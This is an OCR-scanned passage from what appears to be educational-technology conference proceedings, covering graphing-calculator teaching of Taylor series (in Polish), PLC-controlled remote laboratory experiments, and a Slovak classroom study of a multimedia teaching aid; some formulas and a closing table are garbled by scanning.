jest wspomagana nowymi technologiami. Trudno powiedzie¢, czy wynika to
Z ogdlnej niecheci do zmiany swojego sposobu postepowania, czy jest to obawa
przed nowym. Nie jest tatwo dobrze przeprowadzi¢ lekcje z wykorzystaniem
technologii informatycznych takich jak komputer czy kalkulator graficzny. Nau-
czyciel musi umie¢ wkomponowac¢ te fragmenty lekcji, ktore bedg wspomagane
technologiami informatycznymi w proces nauczania i okresli¢ odpowiednie
formy pracy z tymi technologiami w zalezno$ci od mozliwosci i1 sytuacji. Ale na
przyktad komputer czy kalkulator graficzny staty si¢ wszechobeCne w naszym zyciu

! M. Woéjtowicz, A. Molga, E-learning-a new trend, a new way of teaching, Present Day
Trends Of Innovations 3, Ladislav Varkoly Scientific Editor, Issued by Dubnica Institute of Tech-
nology in Dubnica nad VVahom 2013.

2], Kandzia, E-nauczanie w szkole wyzszej-przyklad dobrej praktyki pedagogicznej, ,[Eduka-
cja — technika — informatyka, Wybrane problemy edukacji informatycznej i informacyjnej, Rocz-
nik naukowy” nr 4/2013, cz 2, Rzeszow 2013.

3 M. Wojtowicz, Informatyczne przygotowanie przyszlego nauczyciel matematyki, ,,Edukacja —
technika — informatyka, Wybrane problemy edukacji informatycznej i informacyjnej, Rocznik nauko-
wy” nr 1/2010, cz. 2, Uniwersytet Rzeszowski, Wydawnictwo O$wiatowe FOSZE, Rzeszow 2010.
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i czy nam si¢ to podoba czy tez nie, musimy si¢ nauczy¢ z nimi zy¢, a przede
wszystkim w sposdb racjonalny i §wiadomy z tych srodkdéw korzystac, dlatego waz-
ne jest przygotowanie tych, ktorzy beda nas uczy¢ pracy z tymi mediami.

2. Wykorzystanie nowych technologii przez uczniéw/studentéw

Proces nauczania z wykorzystaniem technologii informatycznych powinien
by¢ wlasciwie zintegrowany z programem nauczania, a zastosowane metody
powinny dostarczy¢ rzeczywistych i widocznych korzysci®. Komputer czy kal-
kulator wykorzystywany na przyktad do wizualizacji wybranych pojeg¢ lub pro-
blemow ma dostarczy¢ uczniowi/studentowi informacji w postaci graficznej,
ktora pozwoli mu lepiej zrozumieé prezentowane zagadnienia.

Przyktad

Bardzo czgsto w zagadnieniach obliczeniowych zamiast dang funkcjg wy-
godnie jest postugiwac sie¢ jej przyblizeniem w postaci wielomianu. Przyblizenie
takie mozna uzyska¢ rozwijajac dang funkcje w szereg potegowy. Wykorzystu-
jac na przyktad kalkulator graficzny TI nspire CAS mozna zrealizowa¢ powyz-
sze zadanie uzywajac komendy taylor.

Sktadnia: Taylor (funkcja, zmienna, liczba wyrazow, punkt)

f :ln(x) ln(x)

taylor(fx,4,1) . (x—1)2 } (x—1)3 (x—1)4

2 3 4
taylor(ﬁx,lZ,l)
L e)? 6P et 61)® 610 )T

2 3 4 5 6 7 i

Rysunek 1. Rozwiniecie funkcji w szereg Taylora

4 M. Wojtowicz, Wykorzystanie komputera w procesie nauczania i uczenia sie matematyki,
Technologie informatyczne i ich zastosowania, Wydawnictwo Naukowe Instytutu Technologii
Eksploatacji — PIB, Radom 2010.

S M. Wojtowicz, A. Molga, Computer — aided design systems, ,,Education — Technology —
Computer Science, Main problems of informatics and information education”, Scientific Annual
No 3/2012, Part 2, Uniwersytet Rzeszowski, Wydawnictwo O$wiatowe FOSZE, Rzeszow 2012.
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Teraz tatwo oceni¢ dokladno$¢ otrzymanego przyblizenia, np. graficznie
wykorzystujac wyjsciowa funkcj¢ oraz zapisany dla niej wzor Taylora. Doktad-
nos¢ jest tym lepsza im wigcej wyrazow uwzglednimy we wzorze Taylora i te
zalezno$¢ mozna doktadnie zaobserwowac.

j.
1.41 :V £3(x)=taylor(fx,12,1)
| text_0.21 R
0.84 N
\\
\
\
\
\
- \}
R \
, \
I} —1)? (-1)° (-)*
I’ ﬂ(x):Afl b 1) '(x 1) 6 1]
! ’ ’ ’
7&'52; l .

Rysunek 2. Wykresy wielomianéw przyblizajacych dang funkcje

Na rysunku 2 przez fl oznaczona zostala rozwijana w szereg funkcja
f(x)=Inx, natomiast przez f2 rozwiniecie jej z doktadno$ciag do czterech

wyrazow, a przez f3 rozwiniecie f z doktadno$cig do 12 wyrazow w szereg
Taylora. Zauwazmy, ze nie bylibysSmy w stanie przeprowadzi¢ takich symulacji,
bez wykorzystania nowych technologii, bo musieliby$my po$wigci¢ bardzo duzo
czasu, a na to po prostu przy tak okrojonej liczbie godzin matematyki nie mo-
zemy sobie pozwoli¢. Ponadto przy realizacji tego problemu studenci nie posia-
daja jeszcze dostatecznej wiedzy, aby przeprowadzi¢ doktadne badanie funkcji.
Tutaj wizualizacja problemu odgrywa bardzo wazng rolg, pozwala bowiem zau-
wazy¢ praktyczne znaczenie wzoru Taylora. Mamy réwniez mozliwos$¢ zaob-
serwowania zalezno$ci migedzy liczbg wyrazow w rozwinigciu funkcji w szereg
Taylora, a doktadnoscig przyblizenia.

Niektorych funkcji nie da si¢ przedstawié¢ za pomocg rozwinigcia w szereg
Taylora na przyklad ze wzglgdu na osobliwosci, ktore posiadaja w rozwijanym
punkcie. W takim przypadku TI nspire proponuje uzycie komendy series
z identyczng skladnig, przedstawiajgc dang funkcje w postaci uogoélnionego
szeregu.
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Rysunek 3. Rozwinigcie funkeji w szereg uogélniony

Tlustracja graficzna funkcji i wyznaczonych wielomianéw i w tym przypad-
ku bytaby bardzo czasochtonna i trudna do wykonania. Korzystajac z aplikacji
graficznej tego kalkulatora mozna ja wykonaé¢ niemal natychmiast. Z pewnoS$cia
ta wizualizacja pozwoli lepiej poznaé ilustrowany problem. Na rysunku 4 mamy

wykres funkeji g(x) - 2 (linia ciggta) oraz wykresy funkcji przyblizajacych te
X2 -4

funkcje — na rysunku zaznaczono je liniami przerywanymi. Nalezy dodac jesz-
cze, ze dla ilustracji postawionego problemu mamy rowniez wiele mozliwosci,
ktoérymi dysponuje okno ,,grafiki”, a dotycza one zmiany wielko$ci parametrow
wykresow. Zmiany te dokonywane sg w czasie rzeczywistym, CO pozwala na ich

szybka analize.
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Rysunek 4. Wykresy funkcji przyblizajacych dana funkcje
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3. Rola nauczyciela w procesie wykorzystania nowych technologii

Nauczyciel powinien tak organizowac proces nauczania, aby uwzgledniato
ono czynng postawe ucznia nastawionego na dziatanie.

Uczen/student powinien mie¢ mozliwo$¢ uczestniczenia w tworzeniu strate-
gil rozwigzania problemu. Nie powinien otrzymywac od nauczyciela jedynie
instrukcji, ktore nalezy wykonac, aby osiggnaé¢ cel. W takiej sytuacji istnieje
bowiem obawa, ze uczniowie/studenci zostang wytaczeni z procesu myslenia
nad rozwigzaniem postawionego problemu.

Nauczyciel powinien organizowa¢ prace w taki sposob, aby uczen/student
mogl odkrywacé i tworzy¢ matematyke. Rola nauczyciela powinna polegac¢ jedy-
nie na monitorowaniu dziatan ucznia i na zapewnieniu odpowiedniego wsparcia
przy tworzeniu wlasnych pomystow, strategii czy ustalen. Pamigtajmy, ze krea-
tywnos¢ ucznia/studenta daje czasem nieoczekiwane i zaskakujace rezultaty.

Z.akonczenie

Nowe technologie przenikajg do naszego zycia i staja si¢ narzgdziami, ktore
coraz czg$ciej bedziemy wykorzystywa¢ w pracy, szkole i zyciu codziennym.
Uczniowie/studenci bardzo che¢tnie wykonuja rézne zadania przy wykorzystaniu
komputera czy kalkulatora graficznego. Nalezy ten zapat i te checi wlasciwie wyko-
rzysta¢. Zadaniem nauczyciela bedzie przygotowanie mtodego cztowieka do wyko-
rzystania mozliwosci tych urzadzen. Ale i nauczyciele muszg stale podnosi¢ swoje
kwalifikacje zawodowe dotyczace swojego przygotowania informatycznego.

Korzystajac z kalkulatora czy komputera mozemy obraz stale modyfikowacé,
mozemy eksperymentowaé przez co mozemy zaobserwowac dynamike zmian
obiektéw matematycznych. Na ekranie, komputera, kalkulatora ta dynamika
zmian jest mozliwa, tatwa i1 szybka, co w procesie nauczania ma przeciez
ogromne znaczenie. Obraz, ktory tworzymy jest dynamiczny, a tym samym
zdecydowanie bardziej przyswajalny, latwiejszy do akceptacji i zapamietania
przez ucznia. Ponadto, korzystanie z nowych technologii, wbrew opinii
niektorych nauczycieli, nie przynosi zadnych opdznien w realizacji materiatu,
oczywiscie pod warunkiem, ze ten proces zorganizujemy prawidtowo.
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Abstract

The preparation and use of remote experiments in the education system consists of the solutions of
two, at first glance, single and independent issues. The first one, on the part of the provider — the admin-
istrator of the remote real experiment, is a solution of technical design for the remote experiment and
consequently its implementation. The second one, on the part of the remote experiment user, is a solu-
tion of the tasks related to didactics of the application of remote experiment in the different stages of a
lesson. To achieve a positive educational effect from the application of remote experiments in education,
solution of didactic tasks is as important as solution of technical design of the experiment. The authors in
this paper propose a procedure for making solutions, implementation and operation of remote experi-
ments. They come to the conclusion according to which maintaining the long-term functionality and
regular innovation of the remote experiment has the nature of the development spiral. They define the
essential role of pedagogical research in relation to the application of remote experiments in education.
In addition, they refer two examples of technical solution of remote experiments, in which for the con-
trol and management, the programmable logic controller (PLC) is used.

Introduction

Real experiments (RE) in natural and technical sciences are integral and in-
separable parts of the teaching process. Their fundamental educational aim is to
provide a widening of knowledge in the frame of particular topics of the curricu-
lum. The most frequently used method is the verification of the existing laws
and dependences between physical quantities or technological parameters.

By performing experimental measurements pupils or students:

o obtain the ability to apply theoretical knowledge in the frame of practical
activities,

o improve their practical skills with aids and measuring apparatuses,

e gain laboratory experience,

o confirm and widen their knowledge from the course of previous study.
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Laboratory experiments cause interaction between previously obtained
knowledge and newly gained experience and so they support what we call
a metacognition® while hand in hand pupils/students learn to cognize methodol-
ogy of scientific and research work. They also positively influence our youth in
the process of their deciding regarding future professional orientation in the area
of natural scientific or technical spheres.

Besides educational influence, practical school experiments also have the
edifying function. Thanks to them students improve their:
relationship towards purposeful research and technical work,
habits in precise execution of work activities,
sense of fulfillment after successful experiment,
cognition of the mutual relation between abstract theoretical thinking and
practical activities,

e experience in work in the laboratory and in the team.

Progress in the area of Information and Communication Technologies (ICT)
changes the environment of laboratories, their technological configuration,
methodology of measurements, the way of recording and evaluation of the ob-
tained data. ICT have become a tool that provides conditions enabling the trans-
fer of real experiments from the real laboratory to any place on the Earth via the
Internet. Usage of school experiments enables teachers to perform educational
activities while emphasizing individual demands®. According to the authors®,
usage of the remote experiments enables higher flexibility that is required in the
experiments with real phenomena; and above all, the Internet on-line laborato-
ries enable more effective deployment of the laboratory equipment by students
themselves, since thanks to the Internet they can use them from any place and at
any time. Such sharing of the created laboratory experiments decreases expendi-
ture needed for building and running the laboratories and on the other side it
increases accessibility of the experiments for a higher number of students. Now-
adays, it is possible to connect more e-laboratories via the Internet that are
placed especially in the university workplaces.

1. Starting Points of the Remote Experiment Application in Education

The creation of a real remote experiment that fulfills demands for its reliable
and safe running while meeting methodical objectives is not a simple task. The

1 M.P. Clough, Using the laboratory to enhance student learning, in Learning Science and
Science of Learning, R.W. Bybee, Ed. National Science Teachers Association, Washington, 2002.

2D, Grimaldi and S. Rapuano, Hardware and software to design virtual laboratory for
education in instrumentation and measurement, in Measurement, vol. 42, 2009, pp. 485-493.

8 R. Pastor, J. Sanchez, and S. Dormido, An XML-based framework for the Development of
Web-based Laboratories focused on Control Systems Education, in “International Journal of Engi-
neering Education”, vol. 19, 2003, pp. 445-454.
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challenge and specification of this task requires a close cooperation of real ex-
perts — specialists. (fig.1)

Implementation team

Teacher | Designer | IT technician Engineer

Fig. 1. Implementation team of experts
So that real remote experiments can become an effective teaching aid it is

important and needed to keep the valid principles regarding the preparation and
running of the remote experiment as may be seen in the developmental spiral

(fig. 2).

evaluation
operation

requirements

implementation

Fig. 2. Developmental spiral of remote experiment

The basic idea comes from a designer — a pedagogue, who specifies a task
for the experiment from the particular topic of a curriculum, defines fundamental
demands for the creation and running of the experiment from both technological
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and didactical points of view. Last but not least there is a task regarding the crea-
tion of an appropriate work team. The outcome of the cooperation of such a team
is the created experiment ready to be verified and consequently offered to users
on the Internet. Another important phase in the process of further development
of the experiment is the evaluation of its functioning that is closely connected to
the design of innovative ideas and their implementation in the next developmen-
tal cycle.
To provide a sustainable remote experiment we need to guarantee both its
sufficient maintenance and continual innovations where demands from the side
of users who in practice are teachers and pupils/students must be taken into con-
sideration.
The crucial demand of teachers regarding remote experiments (RE) is to
provide a higher level of fulfillment of educational and edifying aims in teaching
process”.
The design and application of a remote experiment represent two separate
troublesome areas. The first one deals with a technical solution and the running
of a remote experiment on the side of a provider who is responsible for the:
o design and construction of a remote experiment on a specific theme,
e system of management and control of functionality of particular
experiments,
philosophy of collecting and processing of the observed data,

e hardware and software support of the remote experiment via the
Internet.

On the side of a user of a remote experiment the situation is completely dif-
ferent. The most likely, user of the RE is a pedagogue — teacher, who decided to
use the RE as an innovative tool in the lessons. Such a user is primarily interest-
ed in the didactic side of the experimental topic and how the experiment can
help him/her improve the level of education. Technical and programming issues
of the RE are usually just secondary from the point of view of users — teachers.

When working with RE we deal with real laboratory equipment that is per-
ceived indirectly on the side of a user. According to® one part of students do not
perceive remote laboratories as the real ones and that is why we should try to
reach the state where the display and controlling of the experiments are as au-
thentic as possible. It must enable accessibility to all the possible settings of the

*T. Kozik and M. Simon, Preparing and managing the remote experiment ineducation, in
15th International Conference on Interactive Collaborative Learning and 41st International Con-
ference on Engineering Pedagogy. Villach: ICL, 2012.

® Z. Nedic, J. Machotka and A. Nafalski, Remote laboratories versus virtual and real labora-
tories, in Proceedings of the 33rd Annual Frontiers in Education Conference. Boulder. s. T3E.1-
T3E.6. 2003.
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experiment. Possible faults in the setting of incoming parameters of the experiment
cannot be filtered out automatically, but the users must detect them and consequent-
ly try to correct them. Outcomes of the measurements should be obtained in the
same way as if students take them in direct work with real equipment®.

2. Social Conditions of Application of Innovative Teaching
Supported by Remote Experiment

In the last 20 years there is an obvious decrement in the interest in study of
natural scientific and technical disciplines among students of elementary and
secondary schools in the SR. Experience of the authors from numerous study
stays abroad show that there is similar development visible also in other Europe-
an countries. It is generally known that subjects like mathematics, physics or
chemistry are not very much preferred and favorite among pupils/students at
elementary/secondary schools. A really sad fact is that similar opinions are heard
also from the graduates and postgraduates of technical universities.

Successful study of these subjects is generally contingent on the adequate
level of abstract thinking, and good spatial visualization connected with logical
and analytical thinking. These attributes are not automatically given to all people
and even among those who have such skills it is needed to intentionally develop
and improve them through the educational process.

Thanks to information technologies much scientific knowledge is accessible to
wide layers of inhabitants in the early decades of the 21. century. E-technologies and
their continual applications seriously influence traditional educational systems. It is
a contemporary issue for the pedagogical staff to answer the questions what to teach,
how to teach it and when. The philosophy of education itself changes constantly.
There is a tendency to divert from the philosophy of education orientated towards
a lifelong occupation and consequently the philosophy of education for constantly
changing conditions on the Labour Market comes forward.

What we know is that lifelong education is being emphasized more and
more in today’s world. Our society starts to realize the meaning and importance
of real fulfillment of a term knowledge society or so called learning society in
relation to its permanently sustainable development’.

6 A. Ferrero, S. Salicone, C. Bonora and M. Parmigiani, ReMLab: A Java-Based Remote, Di-
dactic Measurement Laboratory, in IEEE transactions on instrumentation and measurement, vol.
52, 2003, pp. 710-715.

" T. Kozik and J. Depesova, Technical education in the Slovak Republic in the context of edu-
cation in the European Union, Technickd vychova v Slovenskej republike v kontexte vzdelavania v
krajindach Europskej unie, Nitra: Pedagogicka fakulta UKF, 2007, p. 140.
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In the abovementioned social-economic environment there are also educa-
tional systems of particular countries whose fundamental aim should be the pro-
vision of such an educational level of inhabitants that has a potential to create
preconditions of its future development.

Specification of teaching technical branches is in the necessity of applying
awhole range of creative methods for every particular technical or technological
problem. This approach in education represents the very substance of innovative
educational forms in which a teacher is in the position of a partner for pu-
pils/students and at the same time he represents a role of authority and personage.
The basic role of a teacher in this model of the educational process lies in the activa-
tion of learners towards the subject of education thanks to which a needed place for
individual activities of learners will be created orientated on the already mentioned
attributes (abstract thinking, spatial imagination, logical thinking etc.).

In the history of the development of human societies there had never been
recorded such a huge acceleration of updating knowledge as it was in the 20. and
at the beginning of 21. century. As a consequence of quick mass widening of the
ICT applications, new information regarding advances in science, research and
social development have become easily accessible for people practically of all
social groups. E-technologies are more and more frequently used in the area of
education. Step by step the whole society gets to know the meaning and content
of the term knowledge society in connection to the perspective of sustainable
industrial growth®.

In the abovementioned social environment there are acting and developing
various educational systems. Specification of teaching technical specializations
lies in preferential implementation of creative methods in the process of solving
various tasks or problems. Getting familiar with this approach from the very
beginning (ideally already at the level of pre-school education) creates positive
predispositions for further successful understanding of more complicated tech-
nical principles in the course of further study and the elegant mastering of vari-
ous technically orientated activities in everyday life.

3. Remote Experiments and the Didactic Cycle

The creative approach is the substance of an innovative form of education
where a teacher stands in the position of a partner while keeping his authority.
So that a pedagogue/teacher can reach the required educational aim, he must be
able to attract the attention of learners to the particular topic. And the implemen-

® Ibidem, p. 140.
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tation of experiments (hands-on, remote, simulated) in education is the mean that
enables it’.

In both vocational and pedagogical literature there is no straightforward an-
swer to the question regarding minimal ICT competencies of a pedagogue for
the creative application of remote experiments in the teaching process that
would enable one to design and create one’s own educational experiments while
being supported by e-technologies. There is also one reasoned definition of di-
dactic demands for this type of experiments missing, which should be taken into
consideration in the process of their design, construction and running. The teach-
ing process has got its specific attested sequence of activities on the side of
a teacher as well as on the side of a learner that have been proven in the course
of time. This didactic cycle consists of the'”:

e formulation of the aims of teaching process and consequently their

acquisition by learners,

o reiteration of previously obtained knowledge that is closely connected to

the new study content,

e exposition and acquisition of a new study content,

e consolidation of newly received information,

o check of the attained outcomes in the educational process,

e setting tasks for a home preparation.

In every one of these phases a teacher can use different methods™:

e motivational (supporting interest in learning),

o expositional (getting acquainted with the new study content),

o fixative (reiteration and consolidation of information),

o diagnostic and classificatory (examination and evaluation).

Teaching supported by information technologies has recently become
a favourite way of teaching among pedagogues galore and it is positively
accepted by students themselves®. This fact itself supports expectation for
reaching better educational effect when compared to the traditional forms of
education.

° F. Schauer, M. Ozvoldova and F. Lustig, Real remote physics experiments across Internet -
inherent part of Integrated e-Learning”, in Proceedings of iJOE. 2008, pp. 54-57.

10, Turek, Didactics, Diadaktika” Iura Edition s.r.o Bratislava (members of group Wolters
Kluwer), p. 595. 2008.

L E. Petlak, General Didactics, Vseobecnd didaktika, IRIS Bratislava, 2. wyd., p. 311, 2004.

2 . Schauer, M. Ozvoldova and F. Lustig, Real remote physics...; L. Domingues, I. Rocha,
F. Dourado, M. Alves and E.C. Ferreira, Virtual laboratories in (bio)chemical engineering educa-
tion, in Education for Chemical Engineers, vol. 5, 2010, pp. 22-27; M.P. Clough, Using the labor-
atory to enhance student learning,” in Learning Science and Science of Learning, RW. Bybee, Ed.
National Science Teachers Association, Washington 2002.
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If we take into consideration all the mentioned didactic demands in the pro-
cess of designing and running RE, then such a system should fulfill the follow-
ing criteria:
easy accessibility on the Internet,
simple orientation on the web site of the experiment,
easily understandable guide regarding handling the experiment,
assignment with clear definition of educational aims,
corresponding theory to the theme of an experiment at the appropriate
educational level of a user,

o definition of a way of communication between users and provider of the

experiment,

e recommendations for pedagogues regarding the deployment of the

experiment in particular stages of a teaching unit (in didactic cycle).

From a technical point of view the experiments should be constructed in
such way so that:

e the created experiment is in accordance with theoretical knowledge

which it is based upon,

e it is technically resistant against user’s failure in the process of control

of the experiment.

It is obvious that the deployment of a gradually widening net of e-laboratories
that are used in pedagogical practice is going to be the subject of serious peda-
gogical research in the nearest future. The issue of development of new universal
systems in management and control of remote laboratories that would provide
safety and needed economy in the process of their running shall also be one of
the topics of the research.

4. Technical Solution of Remote Experiments with Deployment of PLC

Authors in the process of designing remote experiments and constructing
remote laboratories have decided for the philosophy of applying the elements of
industrial automation. In the process of searching for suitable technical solutions
to of managing and handling the experiments in remote laboratories they decided
to try to use technical parameters and attributes of PLC. PLC (Programmable
Logic Controllers) are used in solutions of automatized tasks at different levels
of technical difficulty. When deciding about deployment of PLC, the fundamen-
tal and original idea was the creation of a universal system of handling and man-
aging. A system constructed in such way will be exploitable also in teaching the
subjects orientated on automation.

The system of remote administration of PLC on the Internet is provided via
web server which represents the graphical interface (GUI) between PLC and
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users. Communication between the web application and PLC itself is provided
via OPC server (OLE for Process Control).

In technical experimental tasks from the area of electro engineering we fre-
quently may see a task regarding regulation of revolutions of an electric engine. The
authors have decided to use the frequency transducer in their remote experiment. In
fig. 3 is displayed overall configuration of the remote experiment for the regulation
of revolutions of the 3-phase electric engine by the 3-phase frequency changer.

Fig. 3. Configuration of the real experiment regarding
regulation of the engine revolutions by a frequency changer

Parameters of the frequency changer are set in a way so that revolutions of the
engine can be regulated by a time width of the input impulse. It means that if
there is a logical 1 at the A master input of the frequency changer, then the speed of
the engine will continuously rise all the time while the logical 1 remains active at
this input. B input will react similarly in relation to the decrement of revolutions. In
the case that at both inputs (A, B) are logical 0 or 1, revolutions of the engine will
not change. In this configuration the PLC made by EATON EASY 512 was used. It
is the bitwise combinative automaton managed through OPC server.

In the process of constructing remote experiments in remote laboratories the
question of their economic efficiency becomes more and more important. Run-
ning the experiments in the remote laboratories is a difficult task from the point
of view of the illumination of the workplace. It is required to provide a perma-
nent source of illumination of particular experimental configurations even in
such cases when there is nobody logged in on the server.

An interesting decrement in operating expenses can be obtained through the
installation of a system that after user’s entry turns the light in the laboratory on
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and consequently activates particular experimental components. This function
can be added into the remote experiment that is operated by programmable logi-
cal automaton®.

A model of a remote experiment simulating the abovementioned processes
may be seen in the fig 4.

Fig. 4. Model of regulation of illumination of the remote
experiment in the real laboratory

Nowadays, it is not a problem to create practically any experimental config-
uration and consequently to make it accessible for users via the Internet. Still one
open problem remains — how the experiment from the point of view of a user can
be deployed in education, or in other words, how it will be implemented into the
teaching unit so that a teacher can reach the demanded educational goals.

Conclusion

Already nowadays there are obviously visible changes in the educational
environment at practically all types and levels of schools as a consequence of

18T, Kozik, G. Banesz, D. Lukacova, M. Sebo, V. Tomkova, I. Handlovska, P. Kuna, M. Si-
mon, Videoconferencing systems in educational applications, Videokonferenéné systémy
v edukaénych aplikaciach, Nitra: PF UKF, 2011. p. 175.
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implementation of up-to-date applications of the information technologies in
education. RE make a good example of their penetration into the teaching pro-
cess especially in natural scientific and technical areas where there is an empha-
sis put on the deployment of methods regarding the work with experiments. In
parallel, they are a challenge for pedagogical research in the area of searching
for the answers to the questions regarding their implementation into the teaching
process and the impact on knowledge level and specific skills of postgraduates
from natural scientific and technical fields. The already published outcomes
regarding deployment of the RE in educational sphere point at their benefit es-
pecially in the area of shortening the time needed for practical vocational train-
ing of pupils/students. We want to state that deployment of RE in education does
not automatically mean total exclusion of real experiments from the teaching
practice. Ideally, the RE should be combined with the real experiments**. The
potential of deployment of remote experiments lies in the individual approach of
every teacher, their ability to prepare a good experiment and the overall peda-
gogical mastership considering innovative principles of teaching and the effec-
tive exploitation of educational time.
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Abstract

We are aware of the vastness and complexity of the issue and we know that we can and we
should explore it in great detail. It is interesting for us to know if pupils achieve better learning
results in the first three areas of Niemierko taxonomy (remembering, understanding, specific trans-
fer) when Multimedia Teaching Program (other than MTP) is used in teaching, and if pupils learn
more actively in the classroom, where MTP is used in comparison to teaching applying the tradi-
tional teaching methods.

Introduction

Our long-term interest was, and still is, to teach pupils the elements of RSE. New innovative
approaches allow us to use multimedia and computers in teaching. We tried to profit from our
skills, knowledge and potential when searching and creating new effective teaching aids, which
would fully replace the momentary deficit of them for the issue, and make the education more
effective. Streamlining of teaching is a very difficult and long process and it cannot be solved
comprehensively. When creating new multimedia teaching aid, we focused mainly on RSE issues
where computers are used as means for teacher’s work, but also for pupils- traffic participants. The
issues are, in particular, skills to use a bicycle in trafficsafely, basis of its maintenance and repair,
traffic rules in terms of a cyclist, traffic signs, etc. Handling of these applications is the basic
“equipment” of today's human society.

1. Search of Innovative Approaches and Forms of Teaching Technology
in a Lower Secondary Education
A part of education, which a pupil should get during the school attendance,

is also acquiring of knowledge, skills and habits of Technology. This basis is
a very important condition for acquiring and developing additional knowledge of
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pupils. Each of us achieves success in gaining new knowledge in a different
way. The volume of information, that we can remember at once, is very small.
This causes considerable problems during the education. One pupil learns every-
thing by heart, while he or she does not understand it, the other one tries to un-
derstand the subject matter and to distinguish what is important in it. Some pu-
pils take notes of what the teacher explains while others need to be tested imme-
diately. Some students prefer spoken word, others visual image when obtaining
information. Everyone uses a different learning process, characteristic of the
individual learning style. Our long-term interest was, and still is, to teach pupils
the elements of Technology. New innovative approaches allow us to use multi-
media and computers in teaching. We tried to profit from our skills, knowledge
and potential when searching and creating new effective teaching aids, which
would fully replace the momentary deficit of them for the issue, and make the
education more effective. Streamlining of teaching is a very difficult and long
process and it cannot be solved comprehensively. When creating new multime-
dia teaching aid, we focused mainly on Technology issues where computers are
used as means for teacher’s work, but also for pupils.

We realize that the use of information technology and computers in the
teaching process also brings certain disadvantages and complications, but we
believe that when they are used properly, they are indispensable means of hu-
manization of teaching and they significantly contribute to the creativity of pu-
pils. The teacher is the one who must be aware that the computer is a means that
can mediate information to the pupils, but emotions and love can be expresses
only by the teacher.

In order to have effective education that would equally develop cognitive
and affective area of a personality of the pupil, it is necessary, except for com-
puter technology, to use various methods, contents and forms in teaching. There
is no content that could be mediate without methods and there is no mediation
without a medium (teaching aid). For these reasons, when we were creating and
searching for effective procedures of using the new teaching aid, we tried to use,
except for computer technology, synergies of other methods and procedures,
particularly in the area of project and problem teaching. The role of MTA is to
satisfy the pupil’s needs in cognitive but also in affective areas.

2. Multimedia Teaching Aid for Teaching Technology
The core of MTA is specially made of presentations and teaching text stored

in the form of CDs. MTA accepts the current situation of information technology
and pedagogical-psychological processes. When we were creating it, the bases
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were our skills, experience, and knowledge in the field of Technology, multime-
dia production, psychology and didactics of technical subjects.

The teaching aid presents a new subject matter, procedures and solutions of
problem tasks in the field of Technology to students. Initially, it requires an in-
tensive work with a computer and it is associated with a certain risk that is al-
ways present when computers are used in teaching. Teaching through MTA
brings much more pleasure from teaching the subject for teachers as well as
learning for students. The effectiveness of the educational process multiply ex-
ceeds traditional teaching methods. MTA helps pupils to achieve self-reliance, it
encourages them to learn actively, it teaches them how to search and use infor-
mation needed for their independent movement in traffic. It promotes activity
and responsibility. Through MTA pupils learn how to discover, solve problems,
experiment, and ask questions on this issue.

A teacher acts as a consultant and organizer when using the aid during the
lesson. He or she selects a subject matter based on the needs and interests of
pupils. He or she supports the open communication, solving, thinking, or ideas
and leads pupils to make decisions on their own. The teacher requires from the
pupils to evaluate their activities and express their opinions.

If pupils are led to any practical or intellectual skills, they have certain needs.
These needs occur when pupils learn things that require a corrected practice.

3. Research of the Impact of MTA on Development
of Teaching Technology at Slovak Schools

In this chapter we describe what we wanted to find out, why it was needed,
and how we gained and processed various information of the educational exper-
iment.

In general, there is an opinion that an indicator of the effectiveness of the
educational process is the result of a pupil. It should be noted that when we fo-
cus on the reaching that result, we must be also interested in the time during
which the pupil achieved it. There is a difference when two pupils achieved a
result of the same quality, but one managed to do it in a few hours and another in
three days.

The effectiveness is also predicated by the quantity of energy and effort the
pupil had to make for achieving the desired result.

Currently, there are several methods and techniques, according to which it is
considered to what extent the work of a teacher was effective in the teaching
process. For example, time of the active work of pupils in the teaching process is
measured. The effectiveness tends to be considered on the basis of knowledge or
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a change of opinions, attitudes and value orientation. Neither one of these meth-
ods can be said to be a really optimal indicator of reality, since the results, which
are considered, may affect a large number of factors and none of these methods
considers them comprehensively.

Based on the foregoing, we state that the consideration of the effectiveness
of the teaching process currently more or less depends on the ability of the
teacher, i. e. to which extent the teacher uses his or her processes, methods and
new teaching aids at work, etc.

Although we embarked on implementing the multiannual educational re-
search, experience was more important than the gathered numbers and output to
us. The experience was supposed to confirm that MTA is effective and helps
pupils when learning.

4. Subject, Aims and Hypotheses of the Research

This chapter aims to present the actual results of the research that we gath-
ered in the research of implementation of MTA into teaching. It ought to high-
light the merits of using MTA in teaching subject Technology. We chose the
method of experimental verification for the purposes of this research.

Subject of the Research

The research was made among pupils of the 2™ level of primary school.
Teaching of Technical Education in selected thematic areas is supported by
MTA. There is an optimum support of information and communication technol-
ogies.

Aims of the Research

The aim was to verify the success of the use of MTA in real conditions of
the selected schools having Technical Education, where work with computers is
also used. We examined the knowledge of the first three levels of educational
objectives of Niemierko taxonomy and active learning of pupils.

We formulated the following principal and starting hypothesis from already
expressed research questions:

H: The use of suggested multimedia teaching aid in teaching of Teaching
Technology on the 2™ level of primary schools will statistically affect
the level of pupils' knowledge.

To be able to confirm or refute and quantitatively and qualitatively verify
the main and starting hypothesis, we formulated the following working hypothe-
ses:
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H1: When dealing with the tasks of the didactic test focused on the issue of road
safety education, pupils from the experimental group will achieve statisti-
cally significantly better results in the first three areas of Niemierko taxon-
omy than pupils from the control group.

Research Sample

The basic set, suitable for our research, were pupils of the 7" year of the 2™
level of primary schools in the Slovak Republic. We can consider the results of
the population of pupils of the 7" year in the Slovak Republic to be normally
distributed. That is why we can process data as a selection of the normal distri-
bution in the research. In terms of external validity of the research, we per-
formed the sampling selection by the stratified selection. The sample was made
of 214 pupils of the 7™ year from five primary schools in the Slovak Republic.
To be able to objectively determine whether our MTA (independent variable)
affects the level of knowledge of road safety education of pupils of the 7" year
of primary schools in Technical Education, we included two groups of respond-
ents in the experiment: the control group and the experimental group. The con-
trol and experimental groups were always formed by the entire class. The control
group consisted of 107 pupils. 107 pupils were also in the experimental group.
We purposefully marked all control subgroups as one control group CON and all
the experimental subgroups are identified as one experimental group EXP.

5. Statistical Processing and Analysis of the Collected Data

The measurement of pupils” performances from the issue in the subject of
Technical Education were provided by the final didactic test in each subgroup of
experimental and control group separately. The test of 18 questions was taken by
214 pupils. The results of this test were analyzed by the methods of descriptive
statistics. Its results and features are listed in the following table.

Table 1. The Descriptive Statistics of the Data Set Analyzed in the Context of Hypothesis H1

@ 2 [
N = 2| 2| E|E Error Band
2 21 < |&2| @ |S]2|3(3 |E|5| g | forteme:
g = 5 L £ g S| E| g |s E|E|ES an Value
g & T 85| 8 |8|8|2|E.|5|3|s8 €=0.05
